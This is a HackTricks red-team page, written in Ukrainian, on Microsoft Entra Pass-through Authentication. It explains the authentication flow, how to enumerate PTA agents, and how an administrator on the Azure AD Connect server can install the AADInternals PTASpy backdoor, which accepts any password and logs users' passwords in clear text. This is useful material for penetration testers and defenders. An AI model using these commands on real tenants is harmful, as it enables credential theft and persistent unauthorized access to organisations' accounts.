Az - PTA - Pass-through Authentication

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Basic Information

From the docs: Microsoft Entra pass-through authentication дозволяє вашим користувачам увійти в якості в обидва - локальні та хмарні додатки, використовуючи ті ж паролі. Ця функція забезпечує вашим користувачам кращий досвід - один пароль менше для запам'ятовування, і зменшує витрати на IT-підтримку, оскільки ваші користувачі менш імовірно забудуть, як увійти. Коли користувачі входять, використовуючи Microsoft Entra ID, ця функція перевіряє паролі користувачів безпосередньо проти вашого локального Active Directory.

У PTA ідентичності синхронізуються, але паролі не так, як у PHS.

Аутентифікація перевіряється в локальному AD, а зв'язок з хмарою здійснюється через агента аутентифікації, що працює на локальному сервері (не обов'язково на локальному DC).

Authentication flow

  1. Щоб увійти, користувач перенаправляється до Azure AD, де він надсилає ім'я користувача та пароль
  2. Облікові дані шифруються і ставляться в чергу в Azure AD
  3. Локальний агент аутентифікації збирає облікові дані з черги і дешифрує їх. Цей агент називається "Агент аутентифікації через проходження" або агент PTA.
  4. Агент перевіряє облікові дані проти локального AD і надсилає відповідь назад до Azure AD, яка, якщо відповідь позитивна, завершує вхід користувача.

warning

Якщо зловмисник компрометує PTA, він може бачити всі облікові дані з черги (в відкритому тексті).
Він також може перевірити будь-які облікові дані до AzureAD (схожий напад на Skeleton key).

Enumeration

From Entra ID:

bash
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}

Перевірте, чи агент працює на локальному сервері:

bash
Get-Service -Name "AzureADConnectAuthenticationAgent"

Pivoting

Якщо у вас є адміністраторський доступ до сервера Azure AD Connect з запущеним агентом PTA, ви можете використовувати модуль AADInternals для вставлення бекдору, який буде перевіряти ВСІ паролі, введені (так що всі паролі будуть дійсними для аутентифікації):

bash
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text

Remove-AADIntPTASpy # Remove the backdoor

note

Якщо встановлення не вдалося, це, ймовірно, через відсутність Microsoft Visual C++ 2015 Redistributables.

Ця бекдор буде:

  • Створити приховану папку C:\PTASpy
  • Скопіювати PTASpy.dll до C:\PTASpy
  • Впровадити PTASpy.dll у процес AzureADConnectAuthenticationAgentService

note

Коли служба AzureADConnectAuthenticationAgent перезапускається, PTASpy “вивантажується” і його потрібно повторно встановити.

caution

Після отримання GA привілеїв у хмарі, можливо зареєструвати новий PTA агент і повторити попередні кроки для автентифікації за допомогою будь-якого пароля та також, отримати паролі у відкритому тексті.

Seamless SSO

Можливо використовувати Seamless SSO з PTA, який вразливий до інших зловживань. Перевірте це в:

Az - Seamless SSO

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks